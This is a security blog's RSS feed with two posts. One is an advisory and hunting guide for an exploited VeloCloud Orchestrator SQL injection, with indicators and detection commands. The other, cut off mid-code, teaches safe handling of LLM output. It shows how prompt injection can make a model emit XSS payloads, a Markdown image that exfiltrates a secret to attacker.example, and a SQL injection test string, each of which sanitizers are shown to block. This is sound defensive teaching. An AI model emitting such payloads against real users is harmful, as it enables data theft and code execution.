<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Sql Injection | FirewallSync</title><link>https://firewallsync.com/tags/sql-injection/</link><description>Practical cybersecurity writing for engineering teams that ship fast.</description><language>en-us</language><image><url>https://firewallsync.com/icon-512.png</url><title>FirewallSync</title><link>https://firewallsync.com/</link></image><lastBuildDate>Sun, 25 Oct 2026 04:40:00 +0000</lastBuildDate><atom:link href="https://firewallsync.com/tags/sql-injection/index.xml" rel="self" type="application/rss+xml"/><item><title>VeloCloud Orchestrator CVE-2026-114625: Patch and Hunt</title><link>https://firewallsync.com/posts/velocloud-orchestrator-cve-2026-114625-patch-and-hunt/</link><guid>https://firewallsync.com/posts/velocloud-orchestrator-cve-2026-114625-patch-and-hunt/</guid><pubDate>Sun, 25 Oct 2026 04:40:00 +0000</pubDate><dc:creator>John Marshall</dc:creator><category>Security Operations</category><description>CVE-2026-114625 is a SQL injection in on-premises Arista VeloCloud Orchestrator that lets any authenticated user, down to the Enterprise Read Only role, act as the built-in superuser operator. CISA added it to KEV on October 23, 2026. It is the third exploited VCO flaw since July, and builds that fixed the first two are still vulnerable.</description><enclosure url="https://firewallsync.com/posts/velocloud-orchestrator-cve-2026-114625-patch-and-hunt/cover_hu1969827314249195703.jpg" type="image/jpeg" length="0"/><media:content url="https://firewallsync.com/posts/velocloud-orchestrator-cve-2026-114625-patch-and-hunt/cover_hu1969827314249195703.jpg" medium="image" type="image/jpeg" width="1200" height="630"/><content:encoded><![CDATA[<p><img src="https://firewallsync.com/posts/velocloud-orchestrator-cve-2026-114625-patch-and-hunt/cover_hu1969827314249195703.jpg" alt="Dozens of labelled blue network cables fanning out from rows of switch ports lit by small yellow-green status lights in a dark rack" width="1200" height="630"></p><p>CVE-2026-114625 is a SQL injection in on-premises Arista VeloCloud Orchestrator (VCO) that lets any authenticated portal user gain operator privileges and act as the local &ldquo;superuser operator&rdquo;. The lowest built-in tenant role, Enterprise Read Only, is enough. CISA added it to the Known Exploited Vulnerabilities (KEV) catalog on October 23, 2026. Upgrade to VCO 5.2.3.18, 6.1.3.10 or 6.4.2.12 or later, restrict the web interface to administrative networks until you can, and then check the orchestrator for signs that someone used it before you did.</p>
<p>It is also the third exploited VCO vulnerability in three months. If you patched in July or September and stopped there, you are still exposed.</p>
<h2 id="are-you-affected">Are you affected?</h2>
<p>You are affected if you run VCO on-premises on one of these versions, as listed in Arista&rsquo;s CVE record:</p>
<table>
  <thead>
      <tr>
          <th>Release train</th>
          <th>Affected</th>
          <th>Fixed in</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>5.2</td>
          <td>5.2.0 up to, not including, 5.2.3.18</td>
          <td>5.2.3.18 and later</td>
      </tr>
      <tr>
          <td>6.1</td>
          <td>6.1.0 up to, not including, 6.1.3.10</td>
          <td>6.1.3.10 and later</td>
      </tr>
      <tr>
          <td>6.4</td>
          <td>6.4.0 up to, not including, 6.4.2.12</td>
          <td>6.4.2.12 and later</td>
      </tr>
  </tbody>
</table>
<p>Arista says hosted VCO, including Dedicated, was affected and has already been patched. The record lists no 7.0 range for this CVE and marks unlisted versions as unaffected, but Arista&rsquo;s September advisory did list 7.0 builds as affected by an earlier flaw. If you run 7.0, confirm your status with Arista rather than relying on the absence of a row. With the July flaw, Arista said it had not assessed end-of-support releases, so if you are on an older train, ask Arista&rsquo;s Technical Assistance Center (TAC) about upgrade paths.</p>
<p>VCO is the management plane for VeloCloud SD-WAN. It holds configuration, device inventory and credentials for the Edges it manages, so treat it as a tier-0 system even if it doesn&rsquo;t look like one in your asset inventory.</p>
<h2 id="what-the-vulnerability-does">What the vulnerability does</h2>
<p>Arista&rsquo;s description in the CVE record: on an affected system, &ldquo;any authenticated user can gain operator privileges and masquerade as a local &lsquo;superuser operator&rsquo; user&rdquo;. That includes functionality meant for internal use only and not meant to be reachable remotely. The record classifies it as CWE-89 (SQL injection).</p>
<p>The conditions, per the record&rsquo;s configuration notes:</p>
<ul>
<li>VCO is exposed by default, and &ldquo;there is no configuration that can prevent the exposure&rdquo;.</li>
<li>The attacker needs network access to the VCO web interface.</li>
<li>The attacker needs a valid authenticated session on the VCO portal. The minimum role is <strong>Enterprise Read Only</strong>.</li>
</ul>
<p>That last condition matters more than it first appears. In a multi-tenant VCO, a read-only user at one customer or one business unit could reach operator-level control over the whole orchestrator. Every tenant login, including service accounts, shared logins and accounts left behind by former staff or partners, is a possible starting point.</p>
<p>Arista scores it CVSS 3.1 <strong>9.9</strong> (<code>AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H</code>) and CVSS 4.0 <strong>9.4</strong>. The <code>PR:L</code> (low privileges required) is the only thing keeping it off 10.0. The record says the issue was discovered externally. Arista published Security Advisory 0199 and the CVE record on October 22, 2026.</p>
<h2 id="exploitation-status">Exploitation status</h2>
<p>The evidence of exploitation comes from CISA rather than from Arista&rsquo;s CVE text:</p>
<ul>
<li><strong>KEV:</strong> CISA added CVE-2026-114625 on October 23, 2026, with a due date of <strong>October 26, 2026</strong> for US federal civilian agencies. The entry has the forensic triage flag set, so under <a href="/posts/cisa-bod-26-04-explained-kev-deadlines-forensic-triage-and-what-private-teams-can-borrow/">BOD 26-04</a> agencies must also check for compromise, not just patch. Known ransomware use is listed as &ldquo;Unknown&rdquo;.</li>
<li><strong>SSVC:</strong> CISA&rsquo;s Vulnrichment entry in the CVE record, timestamped October 22, rates Exploitation <strong>active</strong>, Automatable <strong>no</strong> and Technical Impact <strong>total</strong>. If you use the <a href="/posts/ssvc-deployer-patch-priority-model-explained-exploitation-exposure-automatable-and-human-impact/">SSVC deployer model</a>, &ldquo;active&rdquo; plus &ldquo;total&rdquo; puts an internet-facing VCO at the top of the queue even though the flaw needs a login.</li>
</ul>
<p>Arista&rsquo;s records for the July and September VCO flaws said explicitly that they were &ldquo;known to be actively exploited&rdquo;. The October record does not, and at the time of writing we found no public detail on who is exploiting this one or how. Treat attribution and scale as unknown.</p>
<h2 id="third-exploited-vco-flaw-since-july">Third exploited VCO flaw since July</h2>
<p>CISA&rsquo;s KEV catalog now lists three VeloCloud Orchestrator vulnerabilities, all added in 2026:</p>
<table>
  <thead>
      <tr>
          <th>CVE</th>
          <th>Arista advisory</th>
          <th>Added to KEV</th>
          <th>Type (CWE)</th>
          <th>Credentials needed</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>CVE-2026-16812</td>
          <td>0144, July 27</td>
          <td>July 27</td>
          <td>OS command injection (CWE-78)</td>
          <td>None</td>
      </tr>
      <tr>
          <td>CVE-2026-93952</td>
          <td>0183, September 22</td>
          <td>September 22</td>
          <td>Improper input validation (CWE-20)</td>
          <td>None, but needs certificate-based Edge authentication and the public part of an Edge certificate</td>
      </tr>
      <tr>
          <td>CVE-2026-114625</td>
          <td>0199, October 22</td>
          <td>October 23</td>
          <td>SQL injection (CWE-89)</td>
          <td>Any portal user (Enterprise Read Only or above)</td>
      </tr>
  </tbody>
</table>
<p>Each fix moved the floor. We checked a set of common builds against the affected ranges in all three CVE records:</p>
<table>
  <thead>
      <tr>
          <th>Build</th>
          <th>Still affected by</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>5.2.3.14 (July fix)</td>
          <td>CVE-2026-93952, CVE-2026-114625</td>
      </tr>
      <tr>
          <td>5.2.3.16 (September fix)</td>
          <td>CVE-2026-114625</td>
      </tr>
      <tr>
          <td>5.2.3.18</td>
          <td>None of the three</td>
      </tr>
      <tr>
          <td>6.1.3.4 (July fix)</td>
          <td>CVE-2026-93952, CVE-2026-114625</td>
      </tr>
      <tr>
          <td>6.1.3.10</td>
          <td>None of the three</td>
      </tr>
      <tr>
          <td>6.4.2.4 (July fix)</td>
          <td>CVE-2026-93952, CVE-2026-114625</td>
      </tr>
      <tr>
          <td>6.4.2.8 (September fix)</td>
          <td>CVE-2026-114625</td>
      </tr>
      <tr>
          <td>6.4.2.12</td>
          <td>None of the three</td>
      </tr>
      <tr>
          <td>7.0.0.1 (July fix)</td>
          <td>CVE-2026-93952</td>
      </tr>
  </tbody>
</table>
<p>That table was generated by comparing each build to the <code>affected</code> version ranges in the three CVE JSON records from the CVEProject/cvelistV5 repository. It reflects what the records say, not testing against a VCO. Arista&rsquo;s September advisory did not list a fixed 6.1 or 7.0 build for CVE-2026-93952 when it was published, so for those trains check Arista&rsquo;s current advisory before assuming you&rsquo;re clear.</p>
<p>The practical point: an orchestrator that was patched once and then left alone has been inside at least one exploited vulnerability window for most of the last three months. That changes the hunting question from &ldquo;was I hit last week?&rdquo; to &ldquo;has this box been clean since July?&rdquo;</p>
<h2 id="what-to-do-now">What to do now</h2>
<ol>
<li><strong>Find every VCO you run.</strong> Include lab, DR and acquired-company instances. Record version, train and whether the web interface is reachable from the internet.</li>
<li><strong>Restrict the web interface</strong> to trusted administrative networks now, before the upgrade window. This is Arista&rsquo;s first interim control. It does not remove the risk from users who already have access.</li>
<li><strong>Upgrade</strong> to 5.2.3.18, 6.1.3.10 or 6.4.2.12 or later. If you are on 7.0 or an unsupported train, open a case with Arista TAC.</li>
<li><strong>Preserve evidence first</strong> if anything below looks wrong. Arista&rsquo;s September advisory asks for web access logs, application and system logs, database logs and file-system timestamps to be kept before remediation. An upgrade can overwrite exactly the files you need.</li>
<li><strong>Cut back portal accounts.</strong> Remove dormant tenant users, rotate shared credentials, and check that partner and MSP accounts are still needed. This flaw turns every one of them into a path to operator rights.</li>
<li><strong>Block outbound traffic</strong> from the VCO host that normal operation doesn&rsquo;t need. Arista lists this in the October workarounds.</li>
</ol>
<p>For the wider prioritization question, our guide to <a href="/posts/cisa-kev-json-feed-what-each-field-means-and-how-to-match-it-against-a-scanner-export/">matching the KEV feed against a scanner export</a> shows how to catch the next one automatically.</p>
<h2 id="how-to-hunt">How to hunt</h2>
<p>Arista&rsquo;s October record lists the same detection areas as its earlier VCO advisories: access from known malicious IPs, unexpected outbound network activity from the VCO host, backdoor daemons and web shells, and unexpected administrator activity. It does not publish indicators specific to CVE-2026-114625.</p>
<p>Arista did publish concrete indicators with the September flaw, CVE-2026-93952 (Security Advisory 0183). Arista has not said they are linked to the October issue. Because most builds vulnerable today were also exposed to CVE-2026-93952, they are a sensible baseline:</p>
<table>
  <thead>
      <tr>
          <th>Indicator (from advisory 0183)</th>
          <th>Where to look</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>/usr/local/sbin/.vcnode.js</code></td>
          <td>File system</td>
      </tr>
      <tr>
          <td><code>/usr/local/sbin/vc-sysmond</code>, known malicious MD5 <code>dc78e206eaeadec59fc5801fe4556bd0</code></td>
          <td>File system</td>
      </tr>
      <tr>
          <td><code>/etc/systemd/system/vc-sysmon.service</code></td>
          <td>systemd units</td>
      </tr>
      <tr>
          <td><code>x-vc-opt</code> HTTP header</td>
          <td>nginx access logs</td>
      </tr>
      <tr>
          <td>142.93.149.77, 104.248.126.159</td>
          <td>Web and firewall logs</td>
      </tr>
  </tbody>
</table>
<p>A starting point on the VCO host, run as root. This is illustrative and was not tested against a VCO; adjust log paths to your build:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Persistence files named in Arista advisory 0183</span>
</span></span><span style="display:flex;"><span>ls -la /usr/local/sbin/.vcnode.js /usr/local/sbin/vc-sysmond <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>       /etc/systemd/system/vc-sysmon.service 2&gt;/dev/null
</span></span><span style="display:flex;"><span>md5sum /usr/local/sbin/vc-sysmond 2&gt;/dev/null
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Header and source IPs from the same advisory in nginx logs</span>
</span></span><span style="display:flex;"><span>zgrep -il <span style="color:#e6db74">&#39;x-vc-opt&#39;</span> /var/log/nginx/*access* 2&gt;/dev/null
</span></span><span style="display:flex;"><span>zgrep -hE <span style="color:#e6db74">&#39;142\.93\.149\.77|104\.248\.126\.159&#39;</span> /var/log/nginx/*access* 2&gt;/dev/null | head
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Unexpected outbound connections from the orchestrator</span>
</span></span><span style="display:flex;"><span>ss -tnp state established
</span></span></code></pre></div><p>Beyond file indicators, Arista&rsquo;s advisories point to behavior worth reviewing in the VCO&rsquo;s own audit trail:</p>
<ul>
<li>operator-level actions taken by accounts that only hold tenant roles, or by the local superuser operator at times nobody on your team was working</li>
<li>sensitive configuration changes or privileged maintenance actions with no matching change ticket</li>
<li>database exports, new archive files, or unexpected access to device inventory, certificates and keys</li>
<li>configuration pushed to Edges that you did not approve</li>
</ul>
<p>If you find a compromise, Arista&rsquo;s guidance from the earlier advisories applies: rotate credentials, validate the state of every managed Edge, and restore or replace the orchestrator from a trusted source. Patching a compromised VCO does not remove an attacker who is already there.</p>
<h2 id="limits-of-this-article">Limits of this article</h2>
<p>We could not retrieve Arista&rsquo;s Security Advisory 0199 page directly. The affected versions, conditions, workarounds and description above come from the CVE record Arista published as the CNA, which carries the advisory&rsquo;s content. We have not tested any VCO build, and the hunting commands are a starting point, not a validated detection. There is no public technical write-up of the exploit at the time of writing.</p>
<h2 id="sources-and-verification">Sources and verification</h2>
<table>
  <thead>
      <tr>
          <th>Important claim</th>
          <th>Source</th>
          <th>Status</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Description, &ldquo;superuser operator&rdquo;, Enterprise Read Only minimum role, exposed by default, affected and fixed versions, hosted and Dedicated patched, CVSS 9.9 / 9.4, CWE-89, external discovery, workarounds</td>
          <td><a href="https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/114xxx/CVE-2026-114625.json">CVE-2026-114625 record (Arista as CNA)</a>; <a href="https://www.arista.com/en/support/advisories-notices/security-advisory/24838-security-advisory-0199">Arista Security Advisory 0199</a></td>
          <td>Verified (CVE record)</td>
      </tr>
      <tr>
          <td>KEV addition October 23, due October 26, forensic triage flag, ransomware use Unknown</td>
          <td><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA KEV catalog</a> (JSON feed, catalog version 2026.10.23)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>SSVC: Exploitation active, Automatable no, Technical Impact total</td>
          <td>CISA ADP Vulnrichment container in the CVE-2026-114625 record</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>CVE-2026-16812: July 27, OS command injection, no credentials needed, fixed builds</td>
          <td><a href="https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/16xxx/CVE-2026-16812.json">CVE-2026-16812 record</a>; <a href="https://bleepingcomputer.com/news/security/arista-patches-velocloud-orchestrator-zero-day-exploited-in-attacks">BleepingComputer, July 27, 2026</a></td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>CVE-2026-93952: conditions, affected and fixed builds, indicators of compromise, evidence preservation and post-compromise guidance</td>
          <td><a href="https://www.arista.com/en/support/advisories-notices/security-advisory/24765-security-advisory-0183">Arista Security Advisory 0183</a>; <a href="https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/93xxx/CVE-2026-93952.json">CVE-2026-93952 record</a></td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Build-by-build &ldquo;still affected by&rdquo; table</td>
          <td>Computed from the three CVE records&rsquo; version ranges</td>
          <td>Verified (computed, not tested on VCO)</td>
      </tr>
      <tr>
          <td>Status of the 7.0 train for CVE-2026-114625</td>
          <td>Not listed in the CVE record</td>
          <td>Qualified</td>
      </tr>
  </tbody>
</table>
]]></content:encoded></item><item><title>LLM Output Handling: Treat Model Output as Untrusted Input</title><link>https://firewallsync.com/posts/llm-improper-output-handling-treat-model-output-as-untrusted-input/</link><guid>https://firewallsync.com/posts/llm-improper-output-handling-treat-model-output-as-untrusted-input/</guid><pubDate>Thu, 22 Oct 2026 18:45:00 +0000</pubDate><dc:creator>Craig Leslie</dc:creator><category>AI Security</category><description>OWASP's LLM05:2025 covers what happens when an application passes model output to a browser, database, shell or file path without validation. Because prompt injection can steer that output, it should be handled like user input. Here are the failure modes and tested Python patterns for HTML, SQL and tool calls.</description><enclosure url="https://firewallsync.com/posts/llm-improper-output-handling-treat-model-output-as-untrusted-input/cover_hu17014293727835360901.jpg" type="image/jpeg" length="0"/><media:content url="https://firewallsync.com/posts/llm-improper-output-handling-treat-model-output-as-untrusted-input/cover_hu17014293727835360901.jpg" medium="image" type="image/jpeg" width="1200" height="630"/><content:encoded><![CDATA[<p><img src="https://firewallsync.com/posts/llm-improper-output-handling-treat-model-output-as-untrusted-input/cover_hu17014293727835360901.jpg" alt="A tattooed arm holding a paper filter of coffee grounds as coffee drips into a glass carafe below" width="1200" height="630"></p><p>A model&rsquo;s output feels like your application&rsquo;s own text. It isn&rsquo;t. Anyone who can influence the prompt, directly or through a web page, email or file the model reads, can influence what comes out. When that output is rendered as HTML, run as SQL, passed to a shell or used as a file path, the attacker&rsquo;s influence reaches those systems too. OWASP&rsquo;s Top 10 for LLM Applications calls this <strong>LLM05:2025 Improper Output Handling</strong>.</p>
<p><strong>Scope.</strong> Based on OWASP&rsquo;s LLM05:2025 entry (read from the project&rsquo;s GitHub repository on October 22, 2026). The Python examples were run with Python 3.13, Python-Markdown 3.10.3, nh3 0.3.7 (a Python binding to the Rust Ammonia sanitizer), Pydantic 2.13.5 and SQLite. They demonstrate patterns; they are not a complete defense for any particular application.</p>
<h2 id="what-owasp-covers">What OWASP covers</h2>
<p>OWASP defines LLM05 as &ldquo;insufficient validation, sanitization, and handling of the outputs generated by large language models before they are passed downstream to other components and systems&rdquo;. It notes that because output can be controlled through the prompt, this is &ldquo;similar to providing users indirect access to additional functionality&rdquo;. It separates LLM05 from overreliance: LLM05 is about what happens to output before it goes downstream, not about whether the output is accurate.</p>
<p>OWASP&rsquo;s common examples:</p>
<table>
  <thead>
      <tr>
          <th>Where the output goes</th>
          <th>What can go wrong (OWASP example)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>A shell, <code>exec</code> or <code>eval</code></td>
          <td>Remote code execution</td>
      </tr>
      <tr>
          <td>A browser, as JavaScript or Markdown</td>
          <td>Cross-site scripting (XSS)</td>
      </tr>
      <tr>
          <td>A database, as generated SQL</td>
          <td>SQL injection</td>
      </tr>
      <tr>
          <td>A file path</td>
          <td>Path traversal</td>
      </tr>
      <tr>
          <td>An email template</td>
          <td>Phishing content</td>
      </tr>
  </tbody>
</table>
<p>OWASP also lists conditions that raise the impact: giving the model more privileges than end users have, exposure to indirect prompt injection, third-party extensions that don&rsquo;t validate inputs, no context-aware output encoding, and missing monitoring and rate limiting.</p>
<p>The rest of this article covers three of those destinations with patterns we ran.</p>
<h2 id="1-rendering-markdown-and-html">1. Rendering Markdown and HTML</h2>
<p>Chat interfaces usually render model output as Markdown. Markdown libraries commonly pass raw HTML through (Python-Markdown did in our test), so a model that has been told to emit <code>&lt;img src=x onerror=...&gt;</code> produces script execution in the user&rsquo;s browser. Markdown images are a quieter problem: if the model emits <code>![x](https://attacker.example/c?d=SECRET)</code>, the browser fetches that URL when it renders the image, sending whatever the model put in it. One of OWASP&rsquo;s reference links describes this technique against a chat interface.</p>
<p>The pattern: convert Markdown to HTML, then sanitize the HTML with an allowlist, and only allow images from hosts you control.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> markdown<span style="color:#f92672">,</span> nh3
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ALLOWED_TAGS <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;p&#34;</span>, <span style="color:#e6db74">&#34;ul&#34;</span>, <span style="color:#e6db74">&#34;ol&#34;</span>, <span style="color:#e6db74">&#34;li&#34;</span>, <span style="color:#e6db74">&#34;strong&#34;</span>, <span style="color:#e6db74">&#34;em&#34;</span>, <span style="color:#e6db74">&#34;code&#34;</span>, <span style="color:#e6db74">&#34;pre&#34;</span>, <span style="color:#e6db74">&#34;a&#34;</span>, <span style="color:#e6db74">&#34;img&#34;</span>, <span style="color:#e6db74">&#34;blockquote&#34;</span>}
</span></span><span style="display:flex;"><span>IMG_HOSTS <span style="color:#f92672">=</span> (<span style="color:#e6db74">&#34;https://cdn.example.com/&#34;</span>,)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">drop_foreign_images</span>(tag, name, value):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> tag <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;img&#34;</span> <span style="color:#f92672">and</span> name <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;src&#34;</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> value <span style="color:#66d9ef">if</span> value<span style="color:#f92672">.</span>startswith(IMG_HOSTS) <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">None</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> value
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">render_model_markdown</span>(text: str) <span style="color:#f92672">-&gt;</span> str:
</span></span><span style="display:flex;"><span>    html <span style="color:#f92672">=</span> markdown<span style="color:#f92672">.</span>markdown(text)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> nh3<span style="color:#f92672">.</span>clean(html, tags<span style="color:#f92672">=</span>ALLOWED_TAGS,
</span></span><span style="display:flex;"><span>                     attributes<span style="color:#f92672">=</span>{<span style="color:#e6db74">&#34;a&#34;</span>: {<span style="color:#e6db74">&#34;href&#34;</span>}, <span style="color:#e6db74">&#34;img&#34;</span>: {<span style="color:#e6db74">&#34;src&#34;</span>, <span style="color:#e6db74">&#34;alt&#34;</span>}},
</span></span><span style="display:flex;"><span>                     url_schemes<span style="color:#f92672">=</span>{<span style="color:#e6db74">&#34;https&#34;</span>},
</span></span><span style="display:flex;"><span>                     attribute_filter<span style="color:#f92672">=</span>drop_foreign_images)
</span></span></code></pre></div><p>We fed it this model output:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Here is your summary. ![x](https://attacker.example/c?d=SECRET_TOKEN)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;img src=x onerror=alert(1)&gt; [click](javascript:alert(1)) ![logo](https://cdn.example.com/logo.png)
</span></span></code></pre></div><p>Result:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;Here is your summary. &lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;x&#34;</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;&lt;<span style="color:#f92672">img</span>&gt; &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;noopener noreferrer&#34;</span>&gt;click&lt;/<span style="color:#f92672">a</span>&gt; &lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;logo&#34;</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://cdn.example.com/logo.png&#34;</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span></code></pre></div><p>The <code>onerror</code> handler and the <code>javascript:</code> link are gone, the attacker&rsquo;s image URL was stripped, and the image from the allowed host survived. If you don&rsquo;t need images or links in model output, leave them out of the allowlist entirely. OWASP also recommends a strict Content Security Policy as a second layer; our <a href="/posts/content-security-policy-a-strict-nonce-based-policy-and-how-to-roll-it-out-safely/">nonce-based CSP guide</a> covers that, and an <code>img-src</code> directive limited to your own hosts blocks the image exfiltration path even if sanitization misses something.</p>
<p>If you display output as plain text, you don&rsquo;t need a sanitizer: HTML-encode it, which is what most template engines do by default unless you mark the content as safe.</p>
<h2 id="2-database-queries">2. Database queries</h2>
<p>OWASP&rsquo;s third scenario is a chat feature that writes SQL; a user asks for a query that deletes all tables, and the application runs it. OWASP recommends parameterized queries for any database operation involving model output.</p>
<p>The stronger design is to not let the model write SQL at all. Let it choose from operations you define and fill in typed parameters, which you validate before they go anywhere near the database:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> typing <span style="color:#f92672">import</span> Literal
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> pydantic <span style="color:#f92672">import</span> BaseModel, ConfigDict, Field
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">OrderQuery</span>(BaseModel):
</span></span><span style="display:flex;"><span>    model_config <span style="color:#f92672">=</span> ConfigDict(extra<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;forbid&#34;</span>)
</span></span><span style="display:flex;"><span>    status: Literal[<span style="color:#e6db74">&#34;open&#34;</span>, <span style="color:#e6db74">&#34;shipped&#34;</span>, <span style="color:#e6db74">&#34;cancelled&#34;</span>]
</span></span><span style="display:flex;"><span>    limit: int <span style="color:#f92672">=</span> Field(default<span style="color:#f92672">=</span><span style="color:#ae81ff">20</span>, ge<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>, le<span style="color:#f92672">=</span><span style="color:#ae81ff">100</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">run_order_query</span>(db, model_json: str, customer_id: int):
</span></span><span style="display:flex;"><span>    q <span style="color:#f92672">=</span> OrderQuery<span style="color:#f92672">.</span>model_validate_json(model_json)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> db<span style="color:#f92672">.</span>execute(
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;SELECT id, status FROM orders WHERE customer_id = ? AND status = ? LIMIT ?&#34;</span>,
</span></span><span style="display:flex;"><span>        (customer_id, q<span style="color:#f92672">.</span>status, q<span style="color:#f92672">.</span>limit))<span style="color:#f92672">.</span>fetchall()
</span></span></code></pre></div><p>Three details matter. The SQL text is yours. The values are bound as parameters. And <code>customer_id</code> comes from the authenticated session, not from the model, so a prompt can&rsquo;t redirect the query to another customer&rsquo;s data. We tested it against an in-memory SQLite table:</p>
<table>
  <thead>
      <tr>
          <th>Model output</th>
          <th>Result</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>{&quot;status&quot;:&quot;open&quot;}</code></td>
          <td>Returned only customer 42&rsquo;s open order</td>
      </tr>
      <tr>
          <td><code>{&quot;status&quot;:&quot;open' OR 1=1 --&quot;}</code></td>
          <td>Rejected: not one of the allowed literals</td>
      </tr>
      <tr>
          <td><code>{&quot;status&quot;:&quot;open&quot;,&quot;customer_id&quot;:99}</code></td>
          <td>Rejected: extra field forbidden</td>
      </tr>
      <tr>
          <td><code>{&quot;status&quot;:&quot;open&quot;,&quot;limit&quot;:100000}</code></td>
          <td>Rejected: limit above 100</td>
      </tr>
  </tbody>
</table>
<p>Most model APIs can be asked to return output that follows a JSON schema, which makes this pattern practical. Validate anyway: a schema request is not a guarantee.</p>
<h2 id="3-shell-commands-and-tool-calls">3. Shell commands and tool calls</h2>
<p>OWASP&rsquo;s first example is model output passed to a shell, <code>exec</code> or <code>eval</code>. The fix is the same shape: the model picks an action by name, your code maps the name to a fixed command, and nothing the model writes is interpreted by a shell.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> subprocess
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ACTIONS <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;disk_usage&#34;</span>: [<span style="color:#e6db74">&#34;df&#34;</span>, <span style="color:#e6db74">&#34;-h&#34;</span>], <span style="color:#e6db74">&#34;uptime&#34;</span>: [<span style="color:#e6db74">&#34;uptime&#34;</span>]}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">run_action</span>(model_choice: str):
</span></span><span style="display:flex;"><span>    argv <span style="color:#f92672">=</span> ACTIONS<span style="color:#f92672">.</span>get(model_choice)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> argv <span style="color:#f92672">is</span> <span style="color:#66d9ef">None</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">raise</span> <span style="color:#a6e22e">ValueError</span>(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;action not allowed: </span><span style="color:#e6db74">{</span>model_choice<span style="color:#e6db74">!r}</span><span style="color:#e6db74">&#34;</span>)
